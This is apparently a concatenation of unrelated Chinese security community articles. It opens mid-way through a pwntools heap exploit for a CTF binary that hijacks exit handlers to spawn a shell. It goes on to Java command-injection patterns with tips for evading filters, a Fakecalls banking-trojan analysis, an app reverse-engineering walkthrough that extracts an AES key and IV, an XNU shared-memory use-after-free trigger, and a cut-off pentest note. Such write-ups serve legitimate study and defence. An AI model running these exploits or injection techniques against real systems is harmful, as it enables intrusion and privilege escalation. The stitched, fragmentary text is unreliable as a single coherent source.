0.83146961285549181, 0.77301045400582657, 0.70710678191637988, 0.63439328497574687, 0.55557023390844362, 0.47139673778502639, 0.38268343338677313, 0.29028467833034355, 0.19509032313689476, 0.098017141485123749]
def list2byte(l):
tt = [0.00]*64
for i in range(len(l)):
idx = 0
it = i
for _ in range(6):
idx = (idx << 1) | (it & 1)
it = (it >> 1)
tt[i] = l[idx]
re = b''
for i in tt:
re += struct.pack('<d', i)
return re
def get_v5(l0, l1, lev):
if lev == 4:
return [l0/2, -l0/2, l1/2, -l1/2]
a = 64//lev
# print(lev)
t0 = l0/2
t1 = l1/2
t2 = t0*(x[a])+t1*(-y[a])
t3 = -t0*(-y[a])+t1*(x[a])
# print(t0, t1, t2, t3)
return get_v5(t0, t1, lev//2)+get_v5(t2, t3, lev//2)
def set_input(cmd, type, pn, off):
c = cmd*32.0
t = type*32.0
p = pn*32.0
o = off*32.0
t1 = ((c+p)/8+o/4)/2
t2 = ((c+p)/8-o/4)/2
t3 = c/8-(c+p)/16
re = [t1]*4+[t2]*4+[t3]*8+[0.00]*16
l0 = t
l1 = 0
re += get_v5(l0, l1, 32)
# print(re)
return list2byte(re)
# print(set_input(15, 2, 0, 1 << 4))
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local == 1:
p = process('./0VM')
lb = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi, rsi, rdx, rax = 0, 0, 0, 0
syscall = 0
gadgets = [0xe6e73, 0xe6e76, 0xe6e79]
else:
p = remote('127.0.0.1',6000)
lb = ELF('libc-2.31.so')
rdi, rsi, rdx, rax = 0, 0, 0, 0
gadgets = [0xe6e73, 0xe6e76, 0xe6e79]
syscall = 0
cmd = '''
dir ./glibc-2.31/stdlib/
b __run_exit_handlers
'''
'''
b *$rebase(0x01FC9)
b *$rebase(0x02880)\n
b *$rebase(0x0175D)
b *$reabse(0x1A60)\n
'''
# p = gdb.debug('./0VM', cmd)
gdb.attach(p)
# tmp = get_v5(32, 0, 16)+48*[0.00]
# print(tmp)
# tmp = list2byte(tmp)
# p.send(tmp)
def alloc(pn):
pay = set_input(15, 2, 0, pn << 4)
p.send(pay)
def free(pn, off):
pay = set_input(15, 3, pn, off)
p.send(pay)
def show(pn, off):
pay = set_input(15, 1, pn, off)
p.send(pay)
def ext():
pay = set_input(15, 4, 0, 0)
p.send(pay)
def wreg(r, v):
pay = set_input(2, r, 0, v)
p.send(pay)
def store(r, pn, off):
pay = set_input(3, r, pn, off)
p.send(pay)
def load(r,pn,off):
pay = set_input(4, r, pn, off)
p.send(pay)
# gdb.attach(p)
p.recv()
for i in range(10):
alloc(1)
free(1, 0)
free(1, 0x10)
free(1, 0x20)
# free(1,0x30)
alloc(1)
show(1, 0)
addr = u64(p.recv(6).ljust(8, b'\x00'))
mp=addr-0x10
# libc=addr-0x34e010
if local==1:
libc=mp-0x34e000
else:
libc=mp-0x345000
print(hex(libc))
# use _run_exit_handler
# &(**listp).fns.func.cxa.fn
# 此方法需要任意读出地址fs:[30]
# fn=libc+0x1ed998
# sys=libc+lb.sym['system']
# sh=mp+8
# 所有gadgets都不能成功
# mh = libc+lb.sym['__malloc_hook']
# rh=libc+lb.sym['realloc']
# gd=libc+gadgets[2]
eh=libc+0x37df70-8
if local==0:
eh-=0x9000
sys=libc+lb.sym['system']
tar=mp+0x2d000+8*2
wreg(3,0)
store(3,1,0)
for i in range(6):
wreg(3,p64(tar)[i])
store(3,1,i+2)
load(2,1,0)
store(2,1,0x10-2)
pause()
free(1,0x30)
alloc(1)
alloc(1)
alloc(1)
for i in range(6):
wreg(3,p64(eh)[i])
store(3,1,0x30+i)
# pause()
alloc(2)
for i in range(6):
wreg(3,p64(sys)[i])
store(3,2,i)
print(hex(libc))
pause()
# pause()
eh_rdi=libc+0x37d968
if local==0:
eh_rdi-=0x9000
free(1,0x10)
tar=mp+0x2d000+8*3
wreg(3,0)
store(3,1,0)
for i in range(6):
wreg(3,p64(tar)[i])
store(3,1,i+2)
load(2,1,0)
store(2,1,0x10-2)
free(1,0x50)
alloc(1)
alloc(1)
alloc(1)
for i in range(6):
wreg(3,p64(eh_rdi)[i])
store(3,1,0x50+i)
alloc(3)
for i in range(8):
wreg(3,b"/bin/sh\0"[i])
store(3,3,i)
pause()
print(hex(libc))
ext()
p.interactive() | 社区文章 |
## 0x01 前言
首先Java下的命令执行大家都知道常见的两种方式：
1.使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();
2.使用Runtime
Runtime.getRuntime().exec(cmd)
也就是说上面cmd参数可控的情况下，均存在命令执行的问题。但是话题回来，不太清楚大家是否遇到过java命令执行的时候，无论是windows还是linux环境下，带有`|,<,>`等符号的命令没办法正常执行。所以今天就进入底层看看这两个东西。
## 0x02 差别
先选择跟进`Runtime.getRuntime().exec(cmd)`，样例代码如下所示：
import java.io.*;
public class Main {
public static void main(String[] arg) throws IOException {
String command="/bin/sh -c echo 111 > 3.txt";
Process proc = Runtime.getRuntime().exec(command);
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
}
}
跟进 **java.lang.Runtime#exec**
的构造方法，下面话题回来，exec的构造方法有以下几种情况，其实根据传入的变量我们大概可以区分的了，一个是根据 **String command**
，也就是直接传入一个字符串。另一个是根据 **String cmdarray[]** ，也就是传入一个数组。
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
而根据前面代码中，我们传入的命令是如下所示：
String command="/bin/sh -c echo 111 > 3.txt";
所以会进入`Process exec(String command)`这个构造方法进行处理，跟进这个方法，发现最后返回`exec(command,
null, null)`。
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
继续跟进这个 **exec** 方法，看看这个方法的实现。这里代码实例化了 **StringTokenizer** 类，并且传入了我们要执行的
**command** 命令，简单翻译一下注释：为指定的字符串构造一个字符串标记器。也就是说 **StringTokenizer**
这个类会为特殊字符打上tag之类的东西。
我们继续往下看，经过 **StringTokenizer** 类处理之后会返回一个 **cmdarray[]**
，而这里的处理实际上是根据空格针对命令进行了分割，至于为什么结果要是一个array数组，我们下面会接着说。
我们发现经过一系列的处理，最后又有一个 **return exec** 的处理。继续跟进这个 **exec** 的处理，我们可以看到这里最后实例化
**ProcessBuilder** 来处理我们传入的 **cmdarray** 。到这里实际上可以清楚了
**Runtime.getRuntime().exec()** 的底层实际上也是 **ProcessBuilder** 。
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
我们知道 **ProcessBuilder.start** 方法是命令执行，那么跟进这个 **start** 我们发现，首先 **prog** 获取
**cmdarray[0]** 也就是我们的 **/bin/sh** ，然后判断 **security** 是否为 **null** ，如果不为
**null** 就会校验 **checkExec** 。
然后继续往下走，这里调用 **java.lang.ProcessImpl.start** 。
进入之后我们就可以看到最后是调用 **java.lang.UnixProcess** 这个类来执行命令，而且我们发现执行命令的时候实际上是根据
**cmdarray[0]** 来判断用什么命令。而在 **java.lang.UnixProcess** 这个类里面是调用 **forkAndExec**
来为命令创建环境等操作。我们看到当前断点 **pid** 是 **2653** ，而这里确实起了一个sh的进程。
这样看可能还不够明显，因为我们知道`/bin/sh -c echo 111 >
3.txt`在bash命令行下也不会正常执行成功，命令行下需要`/bin/sh -c "echo 111 > 3.txt"`，看这两段代码的命令执行的效果。
String[] command = { "/bin/sh", "-c", "echo 111 > 3.txt" };
String command="/bin/sh -c \"echo 111 > 3.txt\"";
首先先看`String command="/bin/sh -c \"echo 111 > 3.txt\"";`，按照前面的分析，经过
**StringTokenizer** 这个类进行拆分之后变成了`{"/bin/sh","-c",""echo","111"、">","3.txt""}`。
而当前内存开辟一个 **12473** 进程，并且确实 **12473** 执行 **sh** 命令。
但是我们发现，经过 **StringTokenizer**
这类拆分之后，命令完全变了一个味道，语义完全变了，并不是我们想要的结果，那我们再看看`String[] command = { "/bin/sh",
"-c", "echo 111 > 3.txt" };`的结果。因为我们传入的是 **array** 数组类型，这里直接将命令直接带入了
**ProcessBuilder** 进行处理，前面完全没有经过 **StringTokenizer** 这个类的拆分。也就是他完整的保存了我想要的语义。
也就是说 **getRuntime().exec()** 如果直接传入字符串会经过 **StringTokenizer的**
分割，进而破坏其原本想要表达的意思。
下面这段代码是否存在命令执行的问题，要是在PHP下，我会斩钉截铁的说是，但是回到java环境下，我们发现`|`等一些特殊符号没办法使用，而且传入的是字符串，遇到空格会被
**StringTokenizer** 进行切割，所以实际上下面这段代码是没办法使用的。
String str = request.getParameter("url");
String cmdstr = "ping "+ url;
Runtime.getRuntime().exec(cmdstr)
再来一段代码，能够执行命令，但是很受限，我们知道命令根据 **cmdarray[0]** 来确认以什么命令环境启动，这里确实以 **/bin/sh**
启动了，但是后面的命令执行的时候存在问题，它仅能执行单条命令，拼接不了相关参数。
String str = request.getParameter("cmd");
String cmdstr = "/bin/sh -c "+ cmd;
Runtime.getRuntime().exec(cmdstr)
最后再来一段代码，下面这段代码才会是java下命令执行的完全体。
String str = request.getParameter("cmd");
String[] cmdstr = { "/bin/sh", "-c", str };
Runtime.getRuntime().exec(cmdstr)
后面我翻到一篇文章，实际上也是差不多这个情况，实际上也是这个 **StringTokenizer** 这个类针对命令进行处理可能会造成非预期的结果。
最后还有一个问题，为什么一定要将命令切割成为数组，原因是因为 **ProcessBuilder** ，看看他的构造方法。
public ProcessBuilder(String... command) {
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
}
public ProcessBuilder(List<String> command) {
if (command == null)
throw new NullPointerException();
this.command = command;
}
实际上它是要求 **Array** 类型或者 **List** 类型，如果我们要执行下图中的代码是不行的。
原因在于我们传入的类型不对，我们前面说过命令执行是根据 **cmdarray[0]** ，确认命令启动环境，这里自然找不到我们要启动的命令。
所以Java下的命令稍微改造一下代码就好。
还有一种方式就是用编码，linux下可以用bash的base64编码来解决这个特殊字符的问题。
这里在小提一下如果遇到命令执行过滤了 **ProcessBuilder** 和 **getRuntime** ，可以考虑一下
**java.lang.ProcessImpl.start**
## 0x03 小结
其实java已经尽量规避命令执行的安全问题，JDK沙盒机制会进行checkExec，执行命令的机制就是仅仅检查并执行命令数组中的第一个，而分隔符后面的所有东西都是默认为被执行程序的参数，而分隔符后面的所有东西都是默认为被执行程序的参数，这也是我们前文一直聊的内容。所以`getRuntime().exec()`通过传入字符串执行命令的时候，应该尽量避免使用空格，用了空格可能会改变这条命令本身想要表达的意思。
所以在java下如果遇到复杂的命令执行，且参数只能如下所示，且只有一个位置可以控制的话，建议使用base64的编码方式，windows下可以使用
**powershell** 的 **base64** 。
java的反序列化框架利用框架yso，以及一些shiro这类反序列化导致的命令执行实际上很多是用了 **getRuntime**
来达到命令执行的目的，且就像我们上面说的，可控位置比较固定，执行复杂命令会出现执行不了，以上只是复习一下之前和人聊的一个问题。
## Reference
[sh-or-getting-shell-environment-from](https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html) | 社区文章 |
# 会“说话”的银行木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.概述
恶意软件尤其是银行木马的花招总是日新月异。此前有伪造目标银行的登录界面以窃取登录凭证的Thief Bot，有基于记录键盘输入信息以窃取密钥的 Loki
Bot，有监控用户屏幕并获取用户短信验证消息的Tea
Bot。近期出现了一种名为Fakecalls的新型银行木马，除了常见的隐私窃取功能外，它还可以通过拦截银行与用户之间的通话从而冒充银行员工进行诈骗和窃取。
## 2.样本信息
样本属性 | 样本信息
---|---
样本名称 | KB국민은행
样本包名 | com.hana.activity1632322274
样本版本 | 3.0.0
样本MD5 | aa532eab3a54417a8c1c89a6da064696
样本签名 | EMAILADDRESS=[[email protected]](mailto:[email protected]),
CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
签名MD5 | e89b158e4bcf988ebd09eb83f5378e87
样本图标 |
## 3.样本运行流程
图 1 总体流程图
## 4.行为分析
### 获取权限
设置targetSdkVersion为22，可一次性获取所有隐私权限。
图 2 隐私权限申请
通过无障碍设置自身为默认电话应用，增加触发几率。请求无障碍功能权限：
图 3 无障碍权限申请
频繁设置默认拨号器，阻止用户使用自带拨号打电话：
图 4 更改默认拨号器
### 仿冒银行界面
运行界面如下：
图 5 运行界面
从样本的图片资源来看，其家族目标App数量众多。
图 6 其余仿冒图标
### 主要功能
**监听拨号**
筛选归属地以针对韩国号码用户。
图 7 筛选82
展示伪造通话页面，设置显示用户拨打的真实电话。
图 8 展示假界面
完整样本中会播放准备好的客服录音。
监听通话关闭，及时退出伪造页面。
图 9 关闭假界面
上传本次操作日志。
图 10 两种上传方式
**监听呼入**
挂断正常渠道呼入的客户电话，设置自身电话显示为正常客户电话以进行诈骗。
图 11 监听呼入action
图 12 挂断电话
**监听通话记录**
及时删除通话记录，以免用户察觉。
图 13 篡改通话记录
### 其他功能
**上传位置**
监听位置变化并上传至服务器。
图 14 上传位置
**录音**
录音并上传。
图 15 录音
**实时录像**
录像流内容推送至服务器，相当于直播。
图 16 录像
**保活功能**
设置多个监听以随时重启主服务。
图 17 重启主服务
更新客服电话。
图 18 更新电话
定时更新主控地址。
图 19 更新主控
### 主控地址
目前该主控地址已失效。
IP地址 | 归属地
---|---
20*.1*9.*.*1 | 香港
15*.2*5.*5.1* | 香港
*3.2*5.1*.1* | 香港
## 5.修复方法
一旦中招，用户及时修改自己的个人账户和密码，尽快卸载该应用，用户可以通过以下三种方法进行卸载：
（1）立即关闭所有网络连接（断开手机移动网络和WLAN），在未删除APP前，建议禁止网络连接；
（2）在手机设置的应用信息中找到应用图标，点击卸载；
（3）如果以上方法都无法删除，备份一些重要数据到电脑，然后恢复出厂设置。如果不放心，也可选择重置手机，以此规避已经投放到手机上的恶意负载的攻击。
## 6.安全建议
恒安嘉新暗影移动安全实验室在此提醒广大用户，不轻易相信陌生人，不轻易点击陌生人发送的链接，不轻易下载不安全应用，不安装非正规途径来源的APP。
* 谨慎打开未知短信的下载链接。
* 避免点击网页中的链接或下载附件。
* 仅从受信任的来源下载应用程序，建议去正规的应用市场或官方下载。
==================================================
暗影移动安全实验室（EversecLab）是恒安嘉新移动安全能力的支撑部门，由移动安全、数据安全、人工智能、漏洞挖掘等众多领域专家组成，专注于移动安全技术创新与研究，以及移动互联网应用安全的生态建设，包括移动恶意程序分析、安全风险评估、信息安全检测、数据安全评估、黑灰产溯源挖掘、诈骗APP分析、隐私合规检测等等。自主研发第四代移动APP高速研判分析引擎，支持动态检测引擎（动态沙箱技术）、静态检测引擎、AI检测引擎，样本库积累千万级，PB级大数据存储处理技术等。可为客户提供海量应用的信息挖掘，精准、实时、高效的APP检测、情报数据收集、数据关联分析、情报线索扩展，大屏态势感知展示等等。
“安全创造价值”–暗影移动安全实验室坚持以安全为核心，研究为己任，继续创新和开发解决用户问题和行业痛点的产品，为国家的网络安全事业保驾护航。
================================================== | 社区文章 |
[+] Author: niexinming
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-01-10
此次逆向的 apk 为 [tmri_10101_1461033981072_release.apk (pass:
3qun)](https://pan.baidu.com/s/1slcZDDz) ，首先把 apk 安装在模拟器上，然后抓包分析网络流量，把 apk
拖进模拟器中之后安装并设置代理，虽然 app 走的 http 但是抓到的包全是乱码，所以在内部肯定对流量进行了加密操作。
#### 0x01 jeb 静态分析
用 jeb 打开此 apk 之后查看代码，因为在 app 打开的时候会把系统信息传给服务器，而且访问的链接是 writeDeviceInfo
，经过我的一番查找，居然在 com.tmri.services 下面找到 writeDeviceInfo
这样的函数，右键反编译，打开这个函数发现确实是app发送设备信息的代码：
然后对代码进行查看，发现类x可能是发送请求的代码，然后点击x后打开继续跟进：
看到 /m/deviceInfo/writeDeviceInfo （猜想正确），往下拉继续查看这个类：
发现这样的一个函数，其中 this.d().a(……) 这个函数似乎是在把数据包组装起来准备做发送，然后我注意到这个函数的参数有一个
((HttpEntity)v2) ，这样的东西，我猜测这个可能是发送的 http body ，然后跟踪 v2 这个变量，发现在上面 v2 = new
f(v0_3, ((Map)v1), null); 进行了初始化 现在跟进f类，在f类中找到这样的函数：
d.d(……) 这个函数是要发送的明文，那么下面的 this.a(v2, this.f); 就是加密函数了吧？跟进去之后发现确实是加密的核心函数：
其中arg7传入的明文数据，而arg6是传出的密文数据，这个代码的最关键部分在：
byte[] v2 = com.tmri.app.services.packet.c.b(com.tmri.app.services.packet.b.b(arg7, com.tmri.app.services.packet.b$a.values()[this.j]), com.tmri.app.services.packet.c$a.values()[this.k]);
而v2就是加密之后的数据，继续跟进 com.tmri.app.services.packet.c.b ：
跟到这一步之后，静态分析就显得有点吃力了，首先：
com.tmri.app.services.packet.c.b(com.tmri.app.services.packet.b.b(arg7,
com.tmri.app.services.packet.b$a.values()[this.j]),
com.tmri.app.services.packet.c$a.values()[this.k]);
这个函数中传入的 j 和 k 的值不能确定，进而无法确定这个函数将流量进行了何种的加密方式，所以下面将继续 apk 的动态分析。
#### 0x02 apk 动态分析
这里参考 <http://www.52pojie.cn/thread-502219-1-1.html> ，首先用 apktool 解开 app，然后修改
AndroidManifest.xml 中：
<application android:allowBackup="false" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:name="com.tmri.app.DemoApplication" android:theme="@style/AppTheme" android:debuggable="true">
把android:debuggable="true" 改成true，随后使用 apktool 打包，再用 signapk.jar 做个签名，最后
baksmali 反编译一下：baksmali tmri_sign.apk -o SmaliDebug/src
，剩下的步骤和之前链接提到的差不多，但这里我们使用的 Android Studio （步骤也是差不多的），下面开始正式开始动态调试。
首先运行 apk 然后在终端里面输入：adb shell ps ，找到apk运行之后的名字，这个apk的名字是：com.tmri.app.main ，然后在
AndroidManifest.xml 找到 application 这个标签，在这个标签下找到 activity 标签。在终端运行
android:name字段，这个字段就是 app 的主 activity ，这个 app 的主 activity
是：com.tmri.app.ui.activity.TmriActivity ，在终端运行：
adb shell am start -D -n com.tmri.app.main/com.tmri.app.ui.activity.TmriActivity
模拟器如下图所示的话说明成功：
再次运行这个 app，在终端中输入 adb shell ps，找到这个app的pid，现在运行的pid是：2166 ，运行： adb forward
tcp:8700 jdwp:2166，将调试进程附到 2166 这个进程中，然后在android
studio中的src目录下找到刚才找到的加密函数，这个函数在 com.tmri.app.services.packet 的f类中：
阅读smali代码，找到刚才那个加密函数：
在 smali 代码中找到：
然后在这个函数的 iget-byte v4, p0, Lcom/tmri/app/services/packet/f;->k:B 下断点，然后在菜单上点
run-》debug”debug” ，成功后这样的：
现在随便输入一个用户名和密码点登陆，发现 android studio 成功的断了下来：
在右下角的窗口我添加 v0，v1，v2，v3 查看各个寄存器的值，然后按下f8单步运行这个apk ，看到i=0，j=0，k=3
，再用jeb找到具体的加密函数，看他到底是怎么加密流量的：
这个对应的
smali 在 com.tmri.app.services.packet 的c这个类里面：
我在每一个加密函数的入口加一个断点，看看它会用哪个函数进行加密流量，运行之后看到他运行了：
invoke-static {p0, v0},Lcom/tmri/app/services/packet/AesCipherJni;->native_t_set([BI][B
这个函数，对应的java代码是：
arg3 = AesCipherJni.native_t_set(arg3, arg3.length);
我们可以在在右下角的寄存器中看到进入函数的值是：
到这里就很明显了，它调用了一个动态链接库进行加密，然后把加密结果再传递出来，我们可以通过jeb的静态分析知道这个这个加密函数调用的是哪个动态链接库：
这个库在 lib 目录下，armeabi/armeabi-v7a/x86 这三个目录对应的是cpu的类型，每个 cpu 类型的目录下都有名字一样的 so
文件，因为我的模拟器跑着x86的模拟器里面，所以我要分析的动态链接库在 x86/ libAesCipher-Jni.so 中。
#### 0x03 静态分析 so 文件
使用 IDA 进行分析，终于分析到倒数第二个函数（sub_DB0）的时候我看到了熟悉的东西：
openssl的aes加密函数，其中参数a3,a4就是我想要的aes加密密钥key和iv，但是点进去之后，却看不到任何东西，看来只能动态调试了，这里先把sub_DB0的起始虚拟地址和结束虚拟地址找到，分别为
0000DB0 和 0000EF0 ：
#### 0x04 动态分析 so 文件
首先从网上下载 gdbserver 上传到手机里面，然后 adb shell ps 找到 app 的 pid 是 2166：
在 gdbserver 目录下运行 ./gdbserver :23946 --attach 2166 ，再开一窗口运行 adb forward
tcp:23946 tcp:23946 ，运行这两个指令之后我就能用本地的 gdb 调试代码了，但是我想用ida
pro（破解版，只能在win上跑）提供的方便的功能进行调试，怎么办？于是我就想到了端口转发工具，于是我在网上找的一份这样的[开源代码](http://blog.knownsec.com/2012/02/open-source-rtcp/)：python rtcp.py l:3333 c:127.0.0.1:23946 ，我实现的调试拓扑：
在远程的 win 打开 ida pro，选择菜单的 debugger->attach->Remote GDB debugger ，然后 houstname
填写地址，port 是监听端口，之后进入：
下面我来寻找动态链接库的基地址，因为我调制的 pid 是 2166 ，所以查看 proc maps 文件来找动态链接库的基地址，在终端中运行 adb
shell cat /proc/2166/maps | grep libAes, ：
这个程序加载了三次这个动态链接库，但是每个动态链接库的执行权限不同，分别是是r-xp,r—p,rw-p，要调试的动态链接库应该是具有执行权限的，即r-xp,所以调试的基地址是：e2269000，刚才找到的函数的虚拟地址是0000DB0，所以函数在内存中的地址是基地址+虚拟地址：e2269000+0000DB0=e2269db0
，然后跳到 e2269db0 下断点运行起来：
在手机中输入用户名和密码之后调试器被断住，断点正好在我下断的e2269db0位置，然后先不着急按f8调试，先在里面右键创建函数，然后再右键编辑函数，找到函数结束的地址为刚才找到的函数结束虚拟地址+基地址：e2269000+0000EF0=
e2269EF0 进行修改：
点确定后把光标移到函数中，按下 f5 找到加密的函数下断点然后运行起来可以看到程序被成功的断下：
将鼠标指向a3和a4的位置上，查看他们的地址：
然后找到对应的寄存器或者栈地址，将其显示出来：
然后就找到aes加密的key是：
95 8A FA EB CA EF A4 96 EC 7B 7E 97 D0 75 EA 48
iv是：
E0 A4 14 94 34 3A 26 1A 35 64 C6 3C 3A F0 43 57
#### 0x05 END
最后编写流量解密程序来验证拿到的key和iv是不是正确的，先在下面的两个函数上下断点来看加密之后的数据是什么样的：
发现是02 9d 79 2c开头的 23 8a d1 88 先设置burp的拦截，然后运行app，这样burp成功拦下app发出的数据：
然后我们用 .net 写了一个 aes 解密程序来进行破解：
解密程序：
using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;
using System.IO;
namespace aes
{
class AESHelper
{
/// <summary>
/// AES解密
/// </summary>
/// <param name="Data">被解密的密文</param>
/// <param name="Key">密钥</param>
/// <param name="Vector">向量</param>
/// <returns>明文</returns>
public static String AESDecrypt(String Data, byte[] Key, byte[] Vector)
{
Byte[] encryptedBytes = Convert.FromBase64String(Data);
Byte[] bKey = Key;
Byte[] bVector = Vector;
Byte[] original = null; // 解密后的明文
Rijndael Aes = Rijndael.Create();
Aes.Mode = CipherMode.CBC;
Aes.Padding= PaddingMode.Zeros;
Aes.BlockSize = 128;
try
{
// 开辟一块内存流，存储密文
using (MemoryStream Memory = new MemoryStream(encryptedBytes))
{
// 把内存流对象包装成加密流对象
using (CryptoStream Decryptor = new CryptoStream(Memory,
Aes.CreateDecryptor(bKey, bVector),
CryptoStreamMode.Read))
{
// 明文存储区
using (MemoryStream originalMemory = new MemoryStream())
{
Byte[] Buffer = new Byte[1024];
Int32 readBytes = 0;
while ((readBytes = Decryptor.Read(Buffer, 0, Buffer.Length)) > 0)
{
originalMemory.Write(Buffer, 0, readBytes);
}
original = originalMemory.ToArray();
}
}
}
}
catch(Exception e)
{
Console.WriteLine("失败"+e.ToString());
original = null;
return null;
}
return Encoding.UTF8.GetString(original);
}
// 把十六进制字符串转换成字节型
public static byte[] StringToByte(string InString)
{
string[] ByteStrings;
ByteStrings = InString.Split(' ');
byte[] ByteOut;
ByteOut = new byte[ByteStrings.Length];
for (int i = 0; i < ByteStrings.Length; i++)
{
ByteOut[i] = Convert.ToByte("0x"+ByteStrings[i],16);
}
return ByteOut;
}
public static byte[] GetPictureData(string imagepath)
{
////根据图片文件的路径使用文件流打开，并保存为byte[]
FileStream fs = new FileStream(imagepath, FileMode.Open);//可以是其他重载方法
byte[] byData = new byte[fs.Length];
fs.Read(byData, 0, byData.Length);
fs.Close();
return byData;
}
static void Main(string[] args)
{
string strkey = "95 8A FA EB CA EF A4 96 EC 7B 7E 97 D0 75 EA 48";
string striv = "E0 A4 14 94 34 3A 26 1A 35 64 C6 3C 3A F0 43 57";
byte[] key = StringToByte(strkey);
byte[] iv = StringToByte(striv);
byte[] bfile = new byte[2048];
bfile=GetPictureData(@"C:\Users\hehe\apk\333");
string pic = Convert.ToBase64String(bfile);
string ok = AESDecrypt(pic, key, iv);
Console.WriteLine(ok);
}
}
}
* * * | 社区文章 |
**Author: Zhuo Liang**
### Background
XNU supports [Shared Memory](https://en.wikipedia.org/wiki/Shared_memory) for
inter process communication. The kernel provides two kinds of memory-sharing
mechanisms: POSIX shared memory and System V shared memory.
int main( int argc, char** argv ) {
int fd;
unsigned* addr;
/* Create a new memory object */
fd = shm_open( "/bolts", O_RDWR | O_CREAT, 0777 );
/* Set the memory object's size */
ftruncate( fd, sizeof( *addr ) );
/* Map the memory object */
addr = mmap( 0, sizeof( *addr ), PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0 );
/* Write to shared memory */
*addr = 1;
/* The memory object remains in the system after the close */
close( fd );
/*
* To remove a memory object you must unlink it like a file.
* This may be done by another process.
*/
shm_unlink( "/bolts" );
return EXIT_SUCCESS;
}
Listing 1 is a [typical
usage](http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fs%2Fshm_open.html)
of POSIX shared memory. The steps can be divided into following items:
1. **shm_open** Create a new shared memory object and put it into cache. Several times of `shm_open` is supported and they will share the common shared memory object from kernel cache.
2. **ftruncate** Allocate backend sharing memory for shared memory object and this operation will mark the object as `PSHM_ALLOCATED`.
3. **mmap** Map the allocated memory into the process's space and the returned value is the start of the shared memory.
4. **Direct Read/Write** Since the memory is already mapped in the process's task space, the process can read and write the shared memory now.
5. **close** Release the file descriptor and decrease the reference of the shared memory object.
6. **shm_unlink** Unlink the path, this operation would decrease the reference count of shared memory object and mark the object as `PSHM_REMOVED`.
### Leak Issue
This issue is about the management of shared memory object. The `close`
operation of POSIX shared memory object is `pshm_closefile` which will call
`pshm_close`.
// bsd/kern/posix_shm.c
static int
pshm_close(struct pshminfo * pinfo, int dropref)
{
int error = 0;
struct pshmobj *pshmobj, *pshmobj_next;
/*
* If we are dropping the reference we took on
* the cache object, don't enforce the
* allocation requirement.
*/
if (!dropref &&
((pinfo->pshm_flags & PSHM_ALLOCATED)
!= PSHM_ALLOCATED)) { // [a]
return (EINVAL);
} /* DIAGNOSTIC */
pinfo->pshm_usecount--; /* release this fd's reference */ // [b]
...
}
At [a], `PSHM_ALLOCATED` is checked and this flag is only set in `ftruncate`.
`pshm_closefile` passes `0` as the second parameter to this function and this
means if we open the shared memory and close at once, the `pshm_usecount` will
not be decreased. Let's see what would happen if we perform following steps:
const char *shm_name = "/test.shm";
int shm_fd = shm_open(shm_name, O_RDWR | O_CREAT, 0666); // [c]
#define MAX_OPEN_TIMES 0xff
for (size_t i = 0; i < MAX_OPEN_TIMES; i++) {
int reopen_shm_fd = shm_open(shm_name, O_RDWR); // [d]
close(reopen_shm_fd); // [e]
}
1.[c] Create the memory object and the put it into cache, the `pshm_usecount`
is 2 now. One for file descriptor and the other for cache.
2.[d] Open the same path, this will search the object from kernel cache and
increase the `pshm_usecount`.
// bsd/kern/posix_shm.c
int
shm_open(proc_t p, struct shm_open_args *uap, int32_t *retval) {
/*
* If we find the entry in the cache, this
* will take a reference, allowing us to
* unlock it for the permissions check.
*/
error = pshm_cache_search(&pinfo, &nd, &pcache, 1);
}
3.[e] Close the reopened file descriptor, recall the aforementioned close
operation that this will not decrease the `pshm_usecount` because `ftruncate`
has not been called yet.
After above steps, the `pshm_usecount` will be `0x101`. One for `shm_fd` which
we still hold, one for cache and 0xff for reopened file descriptors which we
already closed. And the `pshm_usecount` is a 32 bit integer which means if we
set `MAX_OPEN_TIMES` to `0xffffffff`, the result of `pshm_usecount` will be
`1`, but we still hold one file descriptor. If we `unlink` the path, which
will decrease the usecount and of course release the object memory, and then
do anything on that file descriptor, an use-after-free issue occurs!
### Fixing
Apple adds a function named `pshm_deref`, which will be called when closing a
handle of POSIX shared memory object or unlinking the path, to fix this issue.
int64 pshm_deref(__int64 a1, __int64 a2)
{
__int64 v2; // rsi
int v3; // eax
__int64 result; // rax
_QWORD *i; // rbx
_DWORD *v6; // r13
__int64 v7; // rax
__int64 v8; // [rsp-8h] [rbp-30h]
v8 = a1;
v2 = 1LL;
lck_mtx_assert(&psx_shm_subsys_mutex, 1LL);
v3 = *(_DWORD *)(a2 + 4);
result = (unsigned int)(v3 - 1);
*(_DWORD *)(a2 + 4) = result;
if ( !(_DWORD)result )
{
...
}
return result;
}
### Timeline
1. **2018/12/04** Discovery of this issue.
2. **2018/12/11** Reported to product-security\@apple.com.
3. **2019/03/13** Checked that the issue was fixed in Beta4.
* * * | 社区文章 |
1. 得到目标后，先对目标官网进行了一次常规的渗透检测
2. 网站长这个样，看着就很久远的样子，10年前的网站类型
3. 端口扫描了，没有什么利用点，只能从web找入口了
4. 先看看有没有什么漏洞，浏览一下网站
5. 有爆错，但是没有注入
6. 从图片中可以得到的信息
aspx + mysql
7. 指纹识别，无结果
8. 扫描目录，无结果
9. 通过浏览网站发现管理员的账号信息
sysadmin
